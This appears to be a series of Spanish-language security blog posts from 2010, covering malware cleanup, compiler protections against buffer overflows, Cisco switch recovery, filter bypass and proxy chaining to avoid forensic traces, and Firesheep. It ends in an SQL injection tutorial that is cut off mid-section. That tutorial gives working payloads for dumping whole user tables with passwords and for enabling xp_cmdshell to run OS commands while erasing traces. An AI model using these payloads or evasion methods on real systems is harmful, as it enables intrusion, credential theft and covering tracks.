Lo más leído en 2010

Otro año se va a la mierda y me pareció interesante hacer un repaso a los artículos más leídos durante el mismo.
Para el blog fue un buen año porque se incrementó un montón la cantidad de visitantes, y obtuvo más aportes de emilio que ayudaron a variar los temas tratados.
Estos últimos 2 o 3 meses, debido a distintas ocupaciones y falta de inspiración, no se publicaron tantos artículos, pero igualmente el contenido fue muy bueno. Siempre buscamos publicar información que no se encuentre fácilmente en español, e incluso información completa y experiencias que no se encuentra ni siquiera en inglés.
Espero que les haya gustado el contenido de este año y que encontraran respuestas a sus problemas informáticos en él. En el 2011 seguiremos publicando información que encontremos interesantes, y experiencias que tengamos en el trabajo diario.
Los dejo entonces con el top 10 de lo más leído durante el año:

1. Cracking passwords Windows y Active Directory. En este artículo se presentó información completa de cómo crackear passwords Windows (incluyendo diferentes herramientas), en conjunto con la explicación de cómo se almacenan los passwords en este sistema operativo y en Active Directory, y el background de por qué el sistema utilizado es tan débil.

2. Tips Slackware 13.1. Slackware es una de las distribuciones más difíciles de configurar y utilizar, pero también es una de las mejores. Por ello vale la pena probarla y Emi nos da en este artículo los tips para comenzar, explicando cómo instalarla y configurarla correctamente.

3. Monitoreo de red: OSSIM Review Parte I (OSSIM, Snort y OSSEC). Cuando escribí esta serie de artículos no imaginé que se volverían tan populares. OSSIM es una excelente distribución que incluye las herramientas necesarias ya configradas e integradas para que el monitoreo de red sea una tarea sencilla. En este artículo se introducen 3 de las herramientas más importantes del sistema, OSSIM, Snort y OSSEC.

4. El arte de la inyección blind (MySQL). Uno de los artículos que más me gustó escribir. En él se presenta la explicación de cómo realizar ataques de inyección SQL blind, donde el atacante sólo puede distinguir entre consultas true y false, a través de lo cual puede obtener todos los datos almacenados en las tablas.

5. Crear máquina virtual en CentOS usando Xen. Este data de mediados del año pasado y sigue en el top de los más leídos. Aquí describí los pasos que tuve que realizar para armar máquinas virtuales en un entorno donde se utiliza Xen.

6. Cómo crear un corrector ortográfico. Otro que data del año pasado y que sigue siendo muy leído. Cuando uno se pregunta ¿cómo se escribirá un corrector ortográfico? nunca se imagina lo simple que es, y en este artículo se demuestra a través de mini programas en java y python.

7. Rompiendo a lo grande: XSS avanzado. Data de fines del año pasado, donde se mostraron diferentes técnicas para realizar ataques XSS. En éste en particular, se muestran ataques avanzados y muestran el peligro de esta vulnerabilidad.

8. Monitoreo de red: OSSIM Review Parte II (Nagios, Nessus, OpenVAS, Osiris). Segunda parte del review de OSSIM, donde se introdujeron las herramientas Nagios, Nessus, OpenVAS y Osiris.

9. Monitoreo de red: OSSIM Review Parte III (Ntop, NFSen, Pads, P0f, Tcptrack, Arpwatch, OSC-NG). Tercera y última parte del review de OSSIM, donde se describieron las herramientas Ntop, NFSen, Pads, P0f, Tcptrack, Arpwatch y OCS-NG.

10. Combatiendo el Cross Site Scripting. El último puesto es para otro artículo de año pasado, de la serie XSS. En este se mostraron los mecanismos de defensa que se pueden utilizar para evitar el XSS, visto desde un posible cliente, y desde la programación.

Bueno, ese fue el top de este año. Como verán, algunos artículos que estuvieron en el top 10 del año pasado, están nuevamente en este, algo que me da la pauta de que la información resultó muy útil =)

Pasen un buen fin de año, y arranquen con todo el 2011!!!

236 troyanos en el disco C:\

Recientemente tuve que reparar un Windows XP infectado con un bonito virus polimórfico (W32.Sality). Este virus infecta los archivos ejecutables en discos locales, removibles y shares de smb. Además crea una botnet P2P y, lo mejor de todo, deshabilita todo software de seguridad instalado (léase antivirus). Esto último que parece tan peligroso en realidad es una debilidad, ya que lo pone en evidencia y permite detectar fácilmente que el sistema está infectado (un virus indetectable es mucho más peligroso ya que puede controlar un sistema durante mucho tiempo).

En el sitio de Symantec se puede leer una descripción completa del mismo. Aparentemente es un virus antiguo ya que se originó en Rusia (que novedad jeje) por el 2003. Se infecta reemplazando el código en el punto de entrada de los ejecutables para redirigir al código polimórfico, que se encripta y se adiciona en la última sección de los archivos.

Como comenté anteriormente, la forma de detectarlo fue fácil: desapareció el ícono del antivirus (en este caso ClamWin) de la barra de tareas de Windows XP y era imposible tratar de iniciarlo. Luego de escanear los discos utilizando clamav (desde un Linux instalado en otra partición, aunque podría ser también desde un livecd) se detectaron una gran cantidad de infecciones en archivos .exe.

Para remover el virus sin acudir a simple pero tediosa "formateada/reinstalada" utilicé una herramienta de AVG hecha a medida para este caso. Aunque previamente tuve que reparar la registry ya que Windows era incapaz de arrancar en modo a prueba de fallos a causa del virus.

Luego de desinfectar completamente el sistema utilizando la herramienta de AVG (tardó unas tres horas aproximadamente) el mismo volvió a funcionar correctamente, sin rastros del virus.


Ahora, que tiene que ver todo esto con el título del artículo?

Luego de escanear el sistema con clamav pasé un tiempo investigando el virus y la forma de removerlo. En un foro, no recuerdo cual, encontré un link al sitio www.virustotal.com.



Este sitio me pareció de lo más útil y original. Te deja subir un archivo infectado, lo escanea con una variedad de antivirus y te muestra el resultado. En ese momento me sirvió para confirmar el tipo de virus que tenía infectado, pero luego sentí curiosidad por probar este sitio un poco más. Para esto me puse a buscar virus y ver resultados:



Luego me dí cuenta que también es posible enviar una URL, por lo que me puse a buscar sitios maliciosos (de scam o malware) y ver que resultados tenía. Fue cuando me encontré con este espectacular sitio de malware:



Este sitio primero muestra un alert diciendo algo como "Se ha detectado actividad sospechosa en su sistema y a continuación será escaneado en busca de virus" Jaaa! es muy bueno. Luego se abre una imitación, muy bien lograda, del explorador de archivos de Windows con una barra de progreso del escaneo, el cual detecta 236 troyanos en el disco C:

Menuda infección jeje. Luego de este simulacro se redirige a la descarga de un archivo ejecutable y el resto se imaginarán.

De esta forma se puede ver un sitio de malware en acción, realmente brillante, sobretodo teniendo en cuenta que me apareció en la segunda página de la búsqueda en Google de la palabra "keygen". Esta clase de sitios pueden engañar a una gran cantidad de usuario de Windows, por eso no sorprende la cantidad y el tamaño de las botnets.

Procedí a escanear este sitio con VIRUS TOTAL el cual me mostró el siguiente resultado:



Me pareció raro que no todas las herramientas lo detectaran como sitio de malware. También me pareció raro que Google Safebrowsing lo detecte como sitio de malware pero aparezca en la segunda página de la búsqueda de la palabra "keygen" en Google Search... Cuestiones de Google.

En definitiva, VIRUS TOTAL, una excelente herramienta para tener a mano para analizar archivos sospechosos y sitios de scam.

Para finalizar les dejo unas recomendaciones:

• Mantengan su software antivirus actualizado (todos los días)


• Eviten visitar sitios sospechosos/desconocidos


• Tengan cuidado dónde hacen clic, siempre revisen las direcciones de los links que aparecen en la barras de estado de los browsers


• Mucho más cuidado con las descargas y archivos adjuntos


• Escaneen absolutamente todo lo que descarguen antes de abrir/ejecutar, por más tedioso que sea es preferible esto antes que enfrentarse a la pérdida de datos

Saludos y feliz 2011!!!

P.D.: Espero que el título del artículo resulte tan "vendedor" como el sitio de malware desde donde lo obtuve!

Protecciones contra buffer overflows en la práctica

Hace tiempo que deseo aprender a realizar ataques buffer overflow, pero por falta de tiempo (y a veces por no sentarme decidido a hacerlo) fue quedando relegado en la lista de cosas a aprender. Con aprender me refiero a realizar los ataques en la práctica, la teoría ya la conozco desde hace años! Pueden encontrar un par de artículos que escribí el año pasado sobre esto: Buffer overflow, un asesino en serie y Evitando que un programa explote, técnicas para detectar buffer overflows.
En fin, la cosa es que probando ejemplos del excelente libro "Gray Hat Hacking" y del tutorial Smashing The Stack For Fun And Profit me encontré con varias trabas. No solo tenía que entender lo que estaba tratando de hacer, sino entender el por qué ni siquiera copiando y pegando los ejemplos andaban!
Fue así que investigando encontré varias protecciones que el compilador GCC y el kernel colocan en los programas y me pareció interesante comentarlas.


Arquitectura 64 bits

El primer obstáculo que encuentra un atacante que intenta realizar un bof es la arquitectura. La arquitectura de 64bits agregó varias funcionalidades que le permiten al sistema operativo protegerse mejor. Principalmente las mejoras en cuanto a seguridad son:

- Bit No eXecution (NX), conocido como eXecute Disabled (XD) en Intel, o Enhanced Virus Protection en AMD. Este bit permite marcar las páginas como no ejecutables, con lo cual el sistema operativo ahora puede utilizar la arquitectura para setear páginas de memoria que contienen datos como no ejecutables, evitando así la ejecución de código inyectado en el stack o en el heap debido a un overflow.
La idea de evitar la ejecución en áreas de datos viene desde hace tiempo, pero al no tener soporte en la arquitectura x86 (que sólo permitía marcar una página como readonly/execute con el mismo bit) debía emularse por software. Un ejemplo de ello es el proyecto PaX.

El mapeo de qué secciones son ejecutables se pueden setear en el formato binario ELF. Allí el compilador coloca los headers del programa e indica a través de permisos RWE qué secciones son ejecutables.
Pueden ver los headers de cualquier programa con los comandos objdump o readelf. Por ejemplo, pueden utilizar readelf de la siguiente forma:

$ readelf -l programa

Para marcar que el stack es no ejecutable, se incorporó el header GNU_STACK, el cual es revisado por el loader para setear los permisos correctos. Si este header tiene los flags RW, la pila no tiene ejecución.
Este header lo incorpora GCC desde la versión 4.3 y por default cuando compilamos un programa veremos que el stack no tiene ejecución.
Como existen programas antiguos o que requieren especialmente ejecución en el stack, es posible marcar el stack como ejecutable. Si cuando compilamos un programa agregamos el argumento "-z execstack", el header GNU_STACK indicará los permisos RWE, incorporando así la ejecución.
También es posible habilitar la ejecución del stack utilizando el programa execstack. Con el parámetro "-s" indicamos que el programa tiene stack ejecutable y con "-c" eliminamos la ejecución.
Algo a tener en cuenta es que si no existe el header GNU_STACK, el loader asume que el programa necesita ejecución en el stack, esto se debe al deseo de proveer compatibilidad con programas viejos.

- Mayor espacio de randomización de direcciones (ASLR). En la arquitectura de 32 bits sólo se podían utilizar 8 bits para para la randomización de la dirección virtuales (teóricamente eran 20, pero por limitaciones en el SO, sólo quedaban 8), mientras que en la nueva arquitectura de 64 es posible utilizar 28 (teóricamente 36).
Esto complica aún más el tipo de ataques "return to libc", los cuales ya eran complejos al utilizar ASLR. Con arquitecturas de 32 bits era factible averiguar por fuerza bruta en qué direcciones se cargaban las librerías debido a la utilización de sólo 8 bits.


ASLR

En el artículo que escribí el año pasado les hablé sobre ASLR y de qué trata. En la sección anterior les comenté que en la arquitectura de 64bits se mejoró considerablemente esta randomización. Como dije, en la arquitectura de 32bits también existe esta protección y el kernel de linux la incorporó a partir de la versión 2.6.12 por default. Si quieren deshabilitar esta funcionalidad, simplemente ejecuten:

echo "0" > /proc/sys/kernel/randomize_va_space

Stack Smashting Protection

Esta técnica también la expliqué en el artículo de protección contra bof. En la práctica GCC utiliza el llamado canario para detectar cuándo ocurrió un overflow que pudo sobreescribir la dirección de retorno. Esto se hace incorporando un valor conocido (canario) entre la dirección de retorno y las variables locales de la función. De esta forma, si ocurre un overflow en alguna de las variables locales, deberá sobreescribir el canario antes de poder sobreescribir la dir de retorno. Este cambio en el canario será detectado por la función de protección y terminará el programa.
Por default en muchas distribuciones (por ejemplo debian) GCC viene configurado para incorporar este canario en los programas que compile, pero en caso de no hacerlo, el programador puede utilizar el parámetro "-fstack-protector" para agregarlo. Si no se desea utilizar y sabemos que el compilador lo agregaría por default, se puede utilizar el parámetro "-fno-stack-protector".


Buffer & Format String Vulnerability

Cuando se describe los bof hay algo que salta a la vista. El problema surge por no checkear cuántos datos se van a copiar en una dada variable de tamaño fijo, lo cual permite copiar por ejemplo 500 bytes en un arreglo de 300. Si las funciones que hacen las asignaciones comprobaran los tamaños, estaríamos a salvo. Existen alternativas seguras para funciones de la librería libc que sí comprueban los tamaños de buffers, así que por qué no usarlas?
En GCC existe una funcionalidad para fortificar el código, la cual se activa con el flag "-D_FORTIFY_SOURCE=2". Este flag le indica a GCC que checkee en tiempo de compilación los tamaños de los buffers y cambie llamadas a funciones que no limitan el tamaño de los buffers con funciones que si lo hagan. También hace que GCC agregue checkeos en tiempo de ejecución para los tamaños de los buffers y las regiones de memoria.
Algo a tener en cuenta con este flag es que sólo se puede utilizar con el parámetro "-O2", es decir, utilizando optimización de código.

Un ataque que no describí en los artículos sobre buffer overflows es el de Format String Attack. Este ataque se aprovecha de las funciones que utilizan formato, como printf, fprintf, sprintf y snprintf. La vulnerabilidad aparece cuando no se proveen tantos parámetros como se especifica en el formato (ej: printf("%s=%s", "mapeo")), o cuando se le permite al usuario ingresar el string de formato (ej: printf(argv[1]), y desde consola ejecutar ./programa "ataque %s %s"). Las funciones de formato intentan leer de la pila tantos parámetros como los especificados en el string de formato, así que si no se asigna la cantidad de parámetros correcta, podríamos leer datos de memoria arbitraria, o escribir en ella (utilizando %n), y, en ocasiones, lograr root!
En fin, si bien es fácil de evitar, el tema es bastante interesante, así que si quieren, pueden leer el paper Format String Attacks de Tim Newsham.
A lo que quería llegar con todo esto, es que la opción D_FORTIFY_SOURCE también evita ataques que escribiendo en la memoria, gracias al formateador %n, permitirían ejecutar código. Lo que hace simplemente el compilador es bloquear todos los format strings que contengan "%n".

Si la distribución de linux que utilizan tiene configurado GCC para usar D_FORTIFY_SOURCE por default, pueden desactivarlo usando el parámetro "-D_FORTIFY_SOURCE=0".


Referencias

- Buffer overflows on linux-x86-64
- x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique
- ::: GCC PROTECTIONS :::
- Ubuntu Wiki CompilerFlags
- debian Wiki Hardening
- The GNU Stack Quickstart
- Gray Hat Hacking - The Ethical Hacker's Handbook
- Format String Attacks

Usando Google como Web proxy

Hoy estaba leyendo este interesante artículo que trata la ciberguerra que se ha desatado entre los defensores y detractores de Wikileaks (yo soy un defensor de Wikileaks), y por esas cosas de Internet terminé en cualquier otra cosa.
Estaba husmeando los posts en twitter del nefasto th3j35t3r, un payaso que se dedica a provocar ataques DDoS contra diferentes sitios, la mayoría musulmanes, y que además se encargó de efectuar estos ataques contra Wikileaks ("for attempting to endager the lives of our troops, 'other assets' & foreign relatios").

La cuestion es que se me ocurrió visitar uno de estos sitios musulmanes """terroristas""" por
simple curiosidad, y me encotré con estos chirimbolos indescifrables del idioma árabe. Entonces decidí utilizar Google translate para pasar la página al idioma inglés y entender algo.
El sitio en sí era bastante aburrido, pero lo interesante fue que al ver la URL en la barra de direcciones de Firefox, se me ocurrió utilzar a Google como Web proxy (para aquellos que no sepan que es un proxy, pueden buscar en Wikipedia y leer mi artículo anterior).

Además de ocultar nuestro trasero, un proxy nos permite acceder a sitios no permitidos por la política de nuestro dominio (en mi caso, un proxy que filtra, entre otros sitios, facebook, twitter, etc).
Esto nos muestra una vez más cómo se puede abusar de un servicio tan inofensivo como Google translate.

Veamos cómo funciona paso a paso:

Primero veamos con qué IP salimos a Internet visitando el sitio ip-adress.com:



Se observa que salimos con una dirección 200.x.x.x perteneciente a nuestra organización. Ahora ingresamos a Google translate y colocamos la URL en el cuadro de traducción:



Google translate nos muestra la misma página pero dentro de un frame. Observamos que la dirección es ahora 74.125.114.80 que corresponde con un servidor de Google:



Para finalizar, probamos ingresar a un sitio no permitido, como es linkedin en mi caso:



La página no se ve correctamente, pero al menos se puede acceder ;)

De esta forma logramos utilizar a Google como Web proxy.

Espero que lo disfruten!

Instalar IOS en switches Cisco desde ROM Monitor

Otra vez les traigo el resultado de un reto Cisco, en este caso, cómo instalar un IOS en un switch de la serie 2900 (seguramente funcione en otros modelos) desde el ROM Monitor. En un post anterior les mostré cómo actualizar el IOS de estos equipos, pero contando con un IOS base desde el cual hacer el trabajo. En este artículo les voy a comentar cómo instalar un IOS en un switch que no tiene ningún IOS, ya sea porque el que tenía se corrompió, o bien porque (como yo) se mandaron una cagada al intentar hacer el cambio y rompieron el IOS que tenían antes de instalar uno nuevo =P

En mi caso, el problema fue que borré el IOS que tenía instalado para hacer lugar para el que quería instalar (gracias Cisco por poner unos pocos megas mugrosos de flash!!!), y luego copié un IOS sin descomprimir (behh).

Si no tenemos un IOS en buen estado para bootear, el switch queda en el bootstrap (Cisco lo llama ROM Monitor), el cual provee una funcionalidad muy (MUY!) básica. Este bootstrap se ejecuta siempre que encendemos el switch, piensen en él como el grub de los switchs. Cuando existe un IOS booteable, el bootstrap lo carga, pero sino, quedamos atascados en este pequeño programa.

Entonces, qué hacemos?

Es claro que si no tenemos IOS, necesitamos cargar uno nuevo. Versiones modernas del ROM Monitor permiten utilizar tftp para la transferencia, o bien cargar automáticamente un IOS por tftp si dejamos pulsado el botón MODE, como vimos en el caso de los AP 1240 .

En los switchs más antiguos (como los 2900), no contamos con ninguna de las dos posibilidades, así que tenemos una sola alternativa... copiar el IOS a través de la consola usando el protocolo XMODEM.

Los pasos que describo a continuación los tomé de Recovering Catalyst Fixed Configuration Switches from a Corrupted or Missing Image, modificándolos para utilizar minicom además de Hyper Terminal.

1. Apenas iniciamos el switch, ejecutar flash_init y load_helper.

2. Ver si tenemos espacio en la flash para la nueva imagen con "dir flash:". Si no tenemos lugar, borrar la imagen vieja:

delete flash:c2950−i6q4l2−mz.121−11.EA1a.bin

3. Copiar la nueva imagen utilizando xmodem. Para ello, en el switch ejecutamos el comando:

copy xmodem: flash:c2950−i6q4l2−mz.121−13.EA1.bin

Si estamos utilizando minicom para la conexión con el switch (ver Acceder dispositivos Cisco desde GNU/Linux con minicom), el siguiente paso es ejecutar:

- CTRL-A y luego Z, para entrar a las opciones de minicom

- S para elegir la opción "send file"

- elegimos la opción xmodem, con lo cual se nos abrirá un navegador de archivos. En este navegador buscamos el archivo con la imagen del IOS, lo seleccionamos con la barra espaciadora y le damos Okay y luego enter.

Si, en cambio, utilizan Hyper Terminal:

- Vayan al menu "Transfer -> Send File"

- escriban el path a la nueva imagen, o bien busquenla utilizando la opción "Browse".

- elijan la opción Xmodem en la sección "Protocol" de la ventana y aprieten "Send" para enviar el archivo.

4. Cuando se complete la transferencia, ya tendremos la nueva imagen en la flash. Tengan en cuenta que la transferencia por xmodem es asquerosamente lenta!!! tardé cerca de una hora para copiar 1MB! así que tengan paciencia jeje

Lo que hacemos a continuación es bootear la nueva imagen utilizando el comando:

boot flash:c2950−i6q4l2−mz.121−13.EA1.bin

Ahora si, hemos convertido un switch pisa papeles (el clásico stoned) en uno utilizable. Espero que les sirva!

Proxy chaining... or how to hide your ass

A veces es necesario no dejar rastros cuando accedemos a sistemas de terceros. Sea cual sea el motivo (supongamos que es por razones nobles) y si es un sistema sensible, queremos asegurarnos de quedar lo más ocultos posibles y no dejar huellas como direcciones IP, footprints de encabezados HTTP, etc.

Para esto siempre es conveniente utilizar un servidor proxy como un intermediario que accede al servidor objetivo por nosotros y luego nos devuelve los resultados. De esta forma, si el servidor objetivo loguea nuestra actividad en el sistema, quien quedará "escrachado" en los logs será el proxy en lugar de nosotros. Así quedamos cubiertos en caso de un eventual análisis forense en el servidor objetivo.

Pero... Puede suceder que el análisis forense consulte al proxy y éste entregue información sobre nuestros accesos, lo que nos pondría en evidencia. Esta situación nos obliga a ocultar aún más nuestro rastro utilizando un proxy en el proxy. Es decir un intermediario del intermediario, para crear una cadena lo suficientemente larga que nos oculte más.

Esta técnica que consiste en conectarse a más de un proxy se denomina "proxy chaining". Cuanto mayor sea la cadena más ocultos estaremos, aunque cabe aclarar que no importa cuantos proxies agreguemos a la cadena, nunca seremos 100% anónimos.

De todas formas hay que ocultar nuestro trasero lo más que se pueda...


Proxy chaining

El proceso es bastante simple, primero ingresaremos en algún sitio como whatismyip.com para detectar con qué dirección IP salimos a Internet:


Se observa que nuestra dirección IP es 200.x.x.x. Este sitio además nos informa que estamos saliendo a Internet a través de un proxy.

Luego buscamos en Google una lista de servidores proxy abiertos (sin usuario ni password) y gratuitos:


El sitio Proxy 4 Free es uno de los primeros que aparece en la búsqueda. Es conveniente ordenar los servidores por Rating o Uptime:


Para nuestro ejemplo, el primero que elegí, al azar, fue online proxi:


Ahora, utilizando el cuadro de URL del proxy (no el de nuestro browser) accedemos a whatismyip para ver desde qué dirección IP se hace el pedido HTTP:


Se observa que ahora la dirección IP que hace el pedido HTTP es 173.224.217.162. Hasta ahora estamos ocultos detrás de un sólo proxy. Para comenzar la cadena, vamos a ingresar la dirección del siguiente proxy en el cuadro de URL del primer proxy. Como segundo proxy utilicé openet.info:


Ingresamos a whatismyip desde el cuadro de URL de openet.info y observamos que ahora la dirección IP que hace el pedido HTTP es 94.75.216.169:


Como se observa en la captura anterior, ahora tenemos dos cabeceras de proxy. La primera, de color amarillo, corresponde al proxy online proxi; la segunda, de color gris, corresponde a openet.info.
Siguiendo con el proceso de chaining agregamos otro servidor proxy a la cadena. Esta vez se trata de Safety Proxy:


Ingresamos a whatismyip nuevamente y se observa la dirección 67.159.44.24:


Ahora se observa una cabecera adicional, la cual aparece arriba de las dos anteriores. En el campo de URL de esta cabecera es donde debemos realizar nuestros pedidos HTTP.
Cabe aclarar que cuanto mayor sea la cantidad de servidores proxy que agregamos a la cadena, más lenta se torna la navegación ya que todos los pedidos y respuestas deben atravesar toda la cadena.

El siguiente gráfico muestra la cadena de servidores proxy que atraviesan nuestros pedidos hasta llegar al servidor objetivo:


Que lo disfruten!

Nueva extensión para Firefox: Firesheep

La llegada de Firesheep (una extensión de Firefox que automatiza algo que se podía hacer manualmente utilizando Wireshark desde hace años) revolucionó el mundo. Firesheep permite capturar cookies de otras personas esnifeando redes inseguras para luego loguearse en sus cuentas Web. Por ejemplo, me conecto a una red insegura (como una red inalámbrica abierta), luego "pepito" (que se encuentra conectado a la misma red) se loguea en facebook, utilizando Firesheep obtengo la cookie de "pepito" en facebook y a continuación entro a la cuenta de "pepito" en facebook. Así de simple.

El éxito de esta herramienta radica en que basta hacer un par de clics para robar una cuenta Web, algo al alcance de cualquiera, a diferencia de: abrir Wireshark; capturar tráfico de la red insegura; filtrar la captura; copiar el contenido de una cookie; insertar la cookie en el navegador; y finalmente ingresar al sitio.

Debido a esto, creo, va a provocar un caos en las redes inalámbricas abiertas ya que ahora cualquier afiliado al PAMI te hace un session hijacking con 2 clics, que bien :). Aunque por el momento sólo está disponible para Windows y Mac OS, que mal :(

Cabe destacar que esto no es sólo una vulnerabilidad de las redes inalámbricas abiertas, sino que aplica también para las redes cableadas no switcheadas (y switcheadas también, haciendo un previo ataque ARP poisoning).

Pueden ver un video sobre esta herramienta en acción aquí.

Lo más interesante de esta clase de vulnerabilidad es que pone en tela de juicio la seguridad de la llamada """Web 2.0""" y el nivel de adopción de SSL. Un estudio realizado por Digital Society clasificó el nivel de seguridad de los sitios más importantes como Facebook, Google, Twitter, Hotmail, etc. Les recomiendo leer este excelente artículo: Online services security report card. Como siempre, Google a la vanguardia:



Espero que sirva para concientizar, y la próxima vez que se conecten a una red inalámbrica abierta no envíen credenciales sin utilizar HTTPS!

Saludos!

SQL Injection avanzado: consultas simplificadas, file inclusion, ejecución remota y más!

Continuando con la serie de artículos sobre SQLi esta vez les traigo técnicas avanzadas para lograr ataques de forma simplificada. En este artículo aprenderán a realizar los mismos ataques que antes pero en menos pasos, obteniendo los datos de tablas enteras en una sola consulta! Además de esto, me meto con ataques más serios como la inclusión de archivos locales y remotos, y ejecución de código. Por último mostraré un par de técnicas para atacar incluso cuando no podemos usar comillas o ciertas sentencias SQL.
Al igual que el artículo anterior, indicaré como realizar cada ataque en MySQL y SQL Server. Los ejemplos estarán basados en el código que publiqué en ese artículo.

Para el que se los haya perdido, los artículos anteriores fueron:
- Inyeccion mortal: SQL Injection
- El arte de la inyección blind (MySQL)
- SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs


Concatenemos columnas

Como vimos en el artículo anterior, usar uniones es muchísimo más rápido que ir tomando letra por letra y comparando con valores ascii para obtener cada caracter... pero esto todavía se puede optimizar más.
Una mejora que podemos hacer a las consultas anteriores, es utilizar concatenación. Dado que en muchos casos contamos con pocos campos para obtener información (en el ejemplo contamos con 2), si en una consulta deseamos obtener más datos de cada fila de la tabla, debemos hacer varias consultas por cada fila. En lugar de esto, podemos concatenar las diferentes columnas que deseamos en un solo string y de esta forma, obtenemos todas las columnas en una sola consulta.
La mayoría de los DBMS cuentan con concatenación. MySQL cuenta con las funciones CONCAT y CONCAT_WS. CONCAT concatena todas las variables pasadas por parámetro, mientras que CONCAT_WS permite concatenar los parámetros separándolos con un separador especificado por el usuario (el WS es por "With Separator"), el cual se indica en el primer parámetro de la función. Por su parte, en SQL Server se pueden concatenar variables utilizando el caracter + (algo común entre lenguajes de programación).

Supongamos que en el ejemplo anterior además del usuario y el password, queremos el e-mail y el nombre. En MySQL podemos obtener todo esto junto en la siguiente consulta:

SELECT CONCAT_WS(' : ', name, email, username, password) FROM t_user

que traducimos a:

?id=-1' union all select '1',CONCAT_WS(':',name, email, username, pass),'1' from t_user limit 0,1 -- 1

Por su parte, en SQL Server hacemos lo mismo con lo siguiente:

SELECT user + ':' + email + ':' + username + ':' + pass FROM t_user

que en la inyección queda:

?id=-1' union all select '1',user%2b':'%2bemail%2b':'%2busername%2b':'%2bpass,'3' from (select *,ROW_NUMBER() over (order by username) as row from t_user ) as temp where row>0 and row<=1 --

Como pueden observar, convertí el caracter + a su codificación URL. De no hacer esto, el browser interpreta el + como un espacio " ", y envía la consulta convertida a un espacio en el server, ocasionando que de error.
El caracter que utilicé para concatenar las consultas es el dos puntos ":".
De esta forma, si bien todavía hay que realizar una consulta por cada fila, no necesitamos hacer varias consultas para obtener los campos de una sola fila, reduciendo bastante el trabajo.


Para qué hacer tantas consultas, si tenemos "GROUP_CONCAT" y "FOR XML"

En la sección anterior vimos como concatenando columnas podemos ahorrar bastante tiempo para obtener cada registro, pero también podemos concatenar todos los registros y columnas en un solo registro! Esto quiere decir que en lugar de obtener cada registro de a uno por vez, podemos obtener toda una tabla en una sola consulta... es mágico!!!
Con la introducción anterior, como mínimo espero que estén intrigados de cómo hacerlo, porque esto ahorra horas de trabajo. Existen distintas técnicas para MySQL y SQL Server, porque no es una consulta genérica SQL. Vamos entonces por partes.
En MySQL existe una función llamada GROUP_CONCAT que retorna un string conteniendo los valores de un grupo concatenados. El grupo a concatenar pueden ser los registros que nos interesan. Si queremos entonces obtener todos los registros de la tabla t_user, podemos hacer una consulta como la siguiente:

SELECT GROUP_CONCAT(username,':',pass,':',email,':',name) FROM t_user

y si lo traducimos a la inyección:

?id=-1' union all select '1',group_concat(username,':',pass,':',email,':',name),'3' from t_user -- 1

Como pueden observar, agregué el caracter ':' para poder separar una columna de otra. Las filas concatenadas estarán separadas por una coma, pero si deseamos utilizar otro caracter, podemos aprovechar la clausula SEPARATOR de la siguiente forma:

?id=-1' union all select '1',group_concat(username,':',pass,':',email,':',name separator '/'),'3' from t_user -- 1

Pasemos a SQL Server. En este DBMS no contamos con una función como en MySQL, pero de SQL Server 2000 en adelante existe la cláusula FOR XML, la cual permite retornar todos los campos de una consulta en un solo registro XML!!!
La cláusula FOR XML se utiliza al final del SELECT de la siguiente forma:

SELECT * FROM t_user FOR XML RAW,BINARY BASE64

El último argumento (RAW en el ejemplo) permite especificar el formato de salida. Los 4 posibles son RAW, AUTO, EXPLICIT y PATH, del cual solo resulta interesante RAW que devuelve el XML con toda la estructura de la tabla. Se puede modificar la salida RAW aplicando opciones, siendo la más interesante BINARY BASE64, la cual nos sirve para codificar datos binarios en base64.

Para nuestra inyección, lo podemos traducir de la siguiente forma:

?id=-1' union all select '1',cast((select * from t_user for xml raw,binary base64) as text),'3

Como verán, utilicé un CAST para indicar que los datos devueltos son de tipo text. Esto lo necesité en el caso de ejemplo porque SQL Server no transmite datos Unicode a la librería mssql de PHP. Al intentar hacerlo devolvía el siguiente error:

Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

Tal vez en otros casos no sea necesario el CAST, pero igual no está de más.

Como pueden observar, con esta consulta obtienen todos los registros de la tabla en una sola consulta, y sin necesidad de conocer el nombre de los campos de la tabla, sólo necesitan el nombre de la tabla. Esta es una optimización enorme al proceso que estábamos realizando antes. La técnica la tome del paper SFX-SQLi - SELECT FOR XML SQL INJECTION.
Algo a tener en cuenta es que si hacen la inyección a través del browser, posiblemente no vean nada, porque el browser interpreta los tags XML y no los muestra. Pero los datos están ahí, simplemente vean el código de la página y los encontrarán =)


Ejecución de comandos en SQL Server

En la siguiente sección necesitaré ejecutar comandos desde la base de datos, así que introduzcamos este tipo de ataques.
"Gracias" a la integración entre SQL Server y Windows, es posible ejecutar programas del sistema operativo desde el DBMS, algo bastante loco, pero que es parte de la "funcionalidad extendida" de lenguajes como TSQL. Esto es bastante malo para la seguridad y muy bueno para los atacantes. El método más comúnmente utilizado para la ejecución de comandos es el stored procedure xp_cmdshell, el cual toma como parámetro el comando a ejecutar y retorna una tabla con tantas filas como líneas retorne el resultado.
Por seguridad, a partir de SQL Server 2005, xp_cmdshell viene desactivado y no se puede utilizar a menos que lo activemos. Si el sistema atacado no fue configurado para poder utilizar xp_cmdshell, primero habrá que activarlo. Para activarlo es necesario ser administradores (ej el usuario 'sa'), es decir, la aplicación que estamos inyectando debería estar utilizando un usuario de base de datos con permisos de administrador... aunque parezca raro, esto suele ser bastante común.
Si debemos activar xp_cmdshell, hay que ejecutar las siguientes sentencias:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

que inyectado sería:

?id=-1'; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --

Una vez que contamos con xp_cmdshell podemos ejecutar cualquier comando que se les ocurra, como por ejemplo, listar el contenido de un dado directorio:

EXEC xp_cmdshell 'dir c:\';

El problema es cómo ver el resultado retornado por las consultas. Para hacerlo podemos utilizar tablas temporales que luego borramos para no dejar rastros. La mayoría de los usuarios de base de datos tienen permiso para crear tablas en su propia base de datos, así que esto no es problema. Lo que haremos entonces es crear una tabla con un solo campo, meteremos el resultado de la consulta en ella, y luego leeremos el campo con otra consulta. Una vez que leímos el resultado, borramos la tabla. Todo esto es:

CREATE TABLE temp( line VARCHAR(8000) );
INSERT INTO temp exec xp_cmdshell 'dir c:\';
SELECT line from temp FOR XML RAW,BINARY BASE64;
DROP TABLE temp;

Para nuestra inyección, todo esto se traduciría a lo siguiente:

